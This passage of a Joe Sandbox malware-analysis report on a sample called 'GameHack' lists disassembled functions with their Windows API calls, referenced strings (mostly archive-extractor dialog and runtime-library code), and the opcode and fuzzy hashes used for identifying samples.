GetObjectW.GDI32(00000000,00000018,?), ref: 00EECDC4
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 00EECDED
DeleteObject.GDI32(00000000), ref: 00EECDF4
GetWindow.USER32(00000000,00000002), ref: 00EECDFD

Strings

STATIC, xrefs: 00EECD83

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 3820355801-1882779555
Opcode ID: bbda76716b9a07428e62fba9b8488b3a3cbd482fc0927dd8497c5ba8a3fcda92
Instruction ID: 4d1599c06a39c65bcc560b20fd460efce6d7891533df51fc45a952de9522403e
Opcode Fuzzy Hash: bbda76716b9a07428e62fba9b8488b3a3cbd482fc0927dd8497c5ba8a3fcda92
Instruction Fuzzy Hash: DE113A7214039CBBE3206B219C49FAF369DFF45755F105020FB46B10E2CA708D16A6A1

Function 00EF8EB1 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00EF8EC5

Part of subcall function 00EF84DE: RtlFreeHeap.NTDLL(00000000,00000000,?,00EFBFA7,00F03958,00000000,00F03958,00000000,?,00EFBFCE,00F03958,00000007,00F03958,?,00EFC3CB,00F03958), ref: 00EF84F4
Part of subcall function 00EF84DE: GetLastError.KERNEL32(00F03958,?,00EFBFA7,00F03958,00000000,00F03958,00000000,?,00EFBFCE,00F03958,00000007,00F03958,?,00EFC3CB,00F03958,00F03958), ref: 00EF8506

_free.LIBCMT ref: 00EF8ED1
_free.LIBCMT ref: 00EF8EDC
_free.LIBCMT ref: 00EF8EE7
_free.LIBCMT ref: 00EF8EF2
_free.LIBCMT ref: 00EF8EFD
_free.LIBCMT ref: 00EF8F08
_free.LIBCMT ref: 00EF8F13
_free.LIBCMT ref: 00EF8F1E
_free.LIBCMT ref: 00EF8F2C

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 3847ffad63e580b09d672fd40cbdec73f3301ce276c93a9e069d87030be21dee
Instruction ID: bd046049473945d8213c493ba6d4cb8bd453b4f761ce52c76ae0b362687daa8d
Opcode Fuzzy Hash: 3847ffad63e580b09d672fd40cbdec73f3301ce276c93a9e069d87030be21dee
Instruction Fuzzy Hash: D411B67650010DBFCB11EF54CA52CEE3BA9FF04350B5150A5FA18AF666DA32EE51DB80

Function 00ED2162 Relevance: 14.5, APIs: 5, Strings: 3, Instructions: 480COMMON

Download Yara Rule

Strings

x%u, xrefs: 00ED267A
;%u, xrefs: 00ED2497
xc%u, xrefs: 00ED26D7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID:
String ID: ;%u$x%u$xc%u
API String ID: 0-2277559157
Opcode ID: a981f80fb8d6fd96799a57ed88ff0b52eab932d3a9cb1eb2c30d1e7b4ef1d525
Instruction ID: 7e7ff596285469a1ab90b0c1e9ccf723555abf13f6615dde5cda7d0d65c9a197
Opcode Fuzzy Hash: a981f80fb8d6fd96799a57ed88ff0b52eab932d3a9cb1eb2c30d1e7b4ef1d525
Instruction Fuzzy Hash: 76F146706042415BDB25DF348891BEE77D9EFA0344F08646FFA85BB383DA64D846C7A2

Function 00EEACD0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00ED130B: GetDlgItem.USER32(00000000,00003021), ref: 00ED134F
Part of subcall function 00ED130B: SetWindowTextW.USER32(00000000,00F035B4), ref: 00ED1365

EndDialog.USER32(?,00000001), ref: 00EEAD20
SendMessageW.USER32(?,00000080,00000001,?), ref: 00EEAD47
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 00EEAD60
SetWindowTextW.USER32(?,?), ref: 00EEAD71
GetDlgItem.USER32(?,00000065), ref: 00EEAD7A
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 00EEAD8E
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00EEADA4

Strings

LICENSEDLG, xrefs: 00EEACE4

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: 8ddf622cff7c568050981c51e738870aab73f7dfe86d5fc22c4de5e45ff99367
Instruction ID: 9054f55c86f0ed726b4866f649ead14d9629155efc32fa4557e888fe9dca6f18
Opcode Fuzzy Hash: 8ddf622cff7c568050981c51e738870aab73f7dfe86d5fc22c4de5e45ff99367
Instruction Fuzzy Hash: CA21073124414DBBD2255F72ED49E7B3BADFB46B5AF054028F600F25A0CB62A901F632

Function 00ED9443 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00ED9448
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 00ED946B
GetShortPathNameW.KERNEL32(?,?,00000800), ref: 00ED948A

Part of subcall function 00EE17AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,00EDBB05,00000000,.exe,?,?,00000800,?,?,00EE85DF,?), ref: 00EE17C2

_swprintf.LIBCMT ref: 00ED9526

Part of subcall function 00ED400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00ED401D

MoveFileW.KERNEL32(?,?), ref: 00ED9595
MoveFileW.KERNEL32(?,?), ref: 00ED95D5

Strings

rtmp%d, xrefs: 00ED950F

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf
String ID: rtmp%d
API String ID: 2111052971-3303766350
Opcode ID: b6abde3c4ceced626714163df55e7e450d084f893cddf7bfd18089ac1ffb1e6f
Instruction ID: b17e13b46e49cba74d489e642fd27d4977de1e11bfc420d316e53c34e401f528
Opcode Fuzzy Hash: b6abde3c4ceced626714163df55e7e450d084f893cddf7bfd18089ac1ffb1e6f
Instruction Fuzzy Hash: 58416071901158A6CB20EB60CC85ADA73BCEF15384F0454E6B559B3242EB348B8ADB60

Function 00EE8E62 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 125memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 00EE8F38
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 00EE8F59
CreateStreamOnHGlobal.COMBASE(00000000,00000001,00000000), ref: 00EE8F80

Strings

utf-8"></head>, xrefs: 00EE8EBD
<html>, xrefs: 00EE8EA7, 00EE8EE0
</html>, xrefs: 00EE8F0A
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 00EE8EB2

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: Global$AllocByteCharCreateMultiStreamWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 4094277203-4209811716
Opcode ID: 81e2b96e51cfea3b46865629c520ced51a833246933725efd6e16a61498ef71a
Instruction ID: 1090da91b68096e0c07737080f8fdbfe542025e31f6df8c95c9d49085bf565b5
Opcode Fuzzy Hash: 81e2b96e51cfea3b46865629c520ced51a833246933725efd6e16a61498ef71a
Instruction Fuzzy Hash: 8531253260835D6BD724AB319C02FBB77A8AF81764F141119FA05B61D2EF749A09D3A2

Function 00EE0A8A Relevance: 12.1, APIs: 8, Instructions: 115timeCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00EE0A9D

Part of subcall function 00EDACF5: GetVersionExW.KERNEL32(?), ref: 00EDAD1A

FileTimeToLocalFileTime.KERNEL32(?,00000001,00000000,?,00000064,00000000,00000001,00000000,?), ref: 00EE0AC0
FileTimeToSystemTime.KERNEL32(?,?,00000000,?,00000064,00000000,00000001,00000000,?), ref: 00EE0AD2
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00EE0AE3
SystemTimeToFileTime.KERNEL32(?,?), ref: 00EE0AF3
SystemTimeToFileTime.KERNEL32(?,?), ref: 00EE0B03
FileTimeToSystemTime.KERNEL32(?,?), ref: 00EE0B3D
__aullrem.LIBCMT ref: 00EE0BCB

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: 60de26f0393a26b55e5b02218d13e684d61f47fc988669fd567e3e292d3dc4cd
Instruction ID: 823e9e4600ae43c6f9adbdc8271327f5efde3bfba2fc346e4bc2a570a5150707
Opcode Fuzzy Hash: 60de26f0393a26b55e5b02218d13e684d61f47fc988669fd567e3e292d3dc4cd
Instruction Fuzzy Hash: 464139B140834A9FC310DF65C88496BFBF8FB88718F004A2EF59692650E779E589DB52

Function 00EFEE2D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00000000,?,?,?,?,?,?,?,00EFF5A2,?,00000000,?,00000000,00000000), ref: 00EFEE6F
__fassign.LIBCMT ref: 00EFEEEA
__fassign.LIBCMT ref: 00EFEF05
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 00EFEF2B
WriteFile.KERNEL32(?,?,00000000,00EFF5A2,00000000,?,?,?,?,?,?,?,?,?,00EFF5A2,?), ref: 00EFEF4A
WriteFile.KERNEL32(?,?,00000001,00EFF5A2,00000000,?,?,?,?,?,?,?,?,?,00EFF5A2,?), ref: 00EFEF83

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 0aecf1a896cc01b5deb2c3161adf98c454532e9c00c225819554bdbd2a254823
Instruction ID: 0b1babd81b00cff2d1e05de7b9bb958aa182ac66db522163c646019c175c5ffb
Opcode Fuzzy Hash: 0aecf1a896cc01b5deb2c3161adf98c454532e9c00c225819554bdbd2a254823
Instruction Fuzzy Hash: 61518171A0024D9FDB10CFA8D845AFEBBF9FF09310F14551AEA55F72A1E670AA41CB60

Function 00EEC534 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 00EEC54A
_swprintf.LIBCMT ref: 00EEC57E

Part of subcall function 00ED400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00ED401D

SetDlgItemTextW.USER32(?,00000066,00F1946A), ref: 00EEC59E
_wcschr.LIBVCRUNTIME ref: 00EEC5D1
EndDialog.USER32(?,00000001), ref: 00EEC6B2

Strings

%s%s%u, xrefs: 00EEC573

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcschr
String ID: %s%s%u
API String ID: 2892007947-1360425832
Opcode ID: df4ff471d00c0ccb33bd504edf6a91e63e065ab683805e1fe38fc3862b063962
Instruction ID: fc9fe04702399f87f190586065adb4dd6fa164ff759b1dbfd8a637ddef1a7439
Opcode Fuzzy Hash: df4ff471d00c0ccb33bd504edf6a91e63e065ab683805e1fe38fc3862b063962
Instruction Fuzzy Hash: 6A410571D0065CAADB26DBA1CC45EEA77BCEF08705F10A0A2E509F61A0E7719BC5CB50

Function 00EE9635 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 00EE964E
GetWindowRect.USER32(?,00000000), ref: 00EE9693
ShowWindow.USER32(?,00000005,00000000), ref: 00EE972A
SetWindowTextW.USER32(?,00000000), ref: 00EE9732
ShowWindow.USER32(00000000,00000005), ref: 00EE9748

Strings

RarHtmlClassName, xrefs: 00EE96F4

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: 8faf10d844b9f0be276a1e15d7bf0ee3b93d38a4b285af54b83fe413ce57798c
Instruction ID: 888a38e2533e4a869ad34f17afe88ffecc6cb4873dcaabd848117131ee316a42
Opcode Fuzzy Hash: 8faf10d844b9f0be276a1e15d7bf0ee3b93d38a4b285af54b83fe413ce57798c
Instruction Fuzzy Hash: CA31E131004248EFCB51AF65DD48B6B7BE9FF48315F00455AFE49AA163DB34D808DB61

Function 00EFBFB5 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00EFBF79: _free.LIBCMT ref: 00EFBFA2

_free.LIBCMT ref: 00EFC003

Part of subcall function 00EF84DE: RtlFreeHeap.NTDLL(00000000,00000000,?,00EFBFA7,00F03958,00000000,00F03958,00000000,?,00EFBFCE,00F03958,00000007,00F03958,?,00EFC3CB,00F03958), ref: 00EF84F4
Part of subcall function 00EF84DE: GetLastError.KERNEL32(00F03958,?,00EFBFA7,00F03958,00000000,00F03958,00000000,?,00EFBFCE,00F03958,00000007,00F03958,?,00EFC3CB,00F03958,00F03958), ref: 00EF8506

_free.LIBCMT ref: 00EFC00E
_free.LIBCMT ref: 00EFC019
_free.LIBCMT ref: 00EFC06D
_free.LIBCMT ref: 00EFC078
_free.LIBCMT ref: 00EFC083
_free.LIBCMT ref: 00EFC08E

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 11f2a1bb5d4160fb08a4b7348739aee2344f3630d5c617e2ee7e867637fc9caa
Instruction ID: 367f49ba24f52d0e2268599422793a2a584eecf178c08508e1a34381deb0d060
Opcode Fuzzy Hash: 11f2a1bb5d4160fb08a4b7348739aee2344f3630d5c617e2ee7e867637fc9caa
Instruction Fuzzy Hash: B511FC72640B0DFAD620BBB0CD06FEBB7DD6F04700F909855B3A976552DB65F9048A90

Function 00EF20CA Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00EF20C1,00EEFB12), ref: 00EF20D8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00EF20E6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00EF20FF
SetLastError.KERNEL32(00000000,?,00EF20C1,00EEFB12), ref: 00EF2151

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 90d77356b9beb221f7d663df3c02557ade64077fad1dd49696731017888b0f98
Instruction ID: 04ee53a4bc24a8b52e077a8e5d2ed13fb5c0d6a5665b3bf9765c600a49aec2e5
Opcode Fuzzy Hash: 90d77356b9beb221f7d663df3c02557ade64077fad1dd49696731017888b0f98
Instruction Fuzzy Hash: 6401D43221B31D6EE6642BB5BC8557A3A88FB517787211B2DF324791E0EF124C05A148

Function 00EEDC9A Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

Strings

KERNEL32.DLL, xrefs: 00EEDCB4
AcquireSRWLockExclusive, xrefs: 00EEDCC9
ReleaseSRWLockExclusive, xrefs: 00EEDCD9

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID:
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 0-1718035505
Opcode ID: 3b1cdc7ce90b6e4d044bc3700c46e82fd69eec610e8f69967273efba1ccda3af
Instruction ID: 20ac416eaf6ac948bd82b4304ee9045e76e4dd049f88608a18789c07a1b6b13f
Opcode Fuzzy Hash: 3b1cdc7ce90b6e4d044bc3700c46e82fd69eec610e8f69967273efba1ccda3af
Instruction Fuzzy Hash: 52017D3134526E5B8F205F765C902E7B398AA417EE330363BE541F3240DE91C841F6B0

Function 00EE0CBE Relevance: 9.1, APIs: 6, Instructions: 94timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 00EE0D0D

Part of subcall function 00EDACF5: GetVersionExW.KERNEL32(?), ref: 00EDAD1A

LocalFileTimeToFileTime.KERNEL32(?,00EE0CB8), ref: 00EE0D31
FileTimeToSystemTime.KERNEL32(?,?), ref: 00EE0D47
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00EE0D56
SystemTimeToFileTime.KERNEL32(?,00EE0CB8), ref: 00EE0D64
SystemTimeToFileTime.KERNEL32(?,?), ref: 00EE0D72

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 19104e034ba9e7c8b345fdc01760884c832c65af7ceac9114e00f5a0dc2649cb
Instruction ID: 8e558e0a009233a2aeb6f9db9e55350f0dde1d40f38496f5cda1a9b0db0c64e1
Opcode Fuzzy Hash: 19104e034ba9e7c8b345fdc01760884c832c65af7ceac9114e00f5a0dc2649cb
Instruction Fuzzy Hash: 7831D47A90024EEBCB00DFE5C8859EFBBBCFF58700B04455AE955E3610E730AA85CB64

Function 00EE91B0 Relevance: 9.1, APIs: 6, Instructions: 89COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00EE91D4
_memcmp.LIBVCRUNTIME ref: 00EE91EB

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 94039ccb5b02abce938aa8ad25ac3c6ca461d3186084b087582fa1c76c7bb4b5
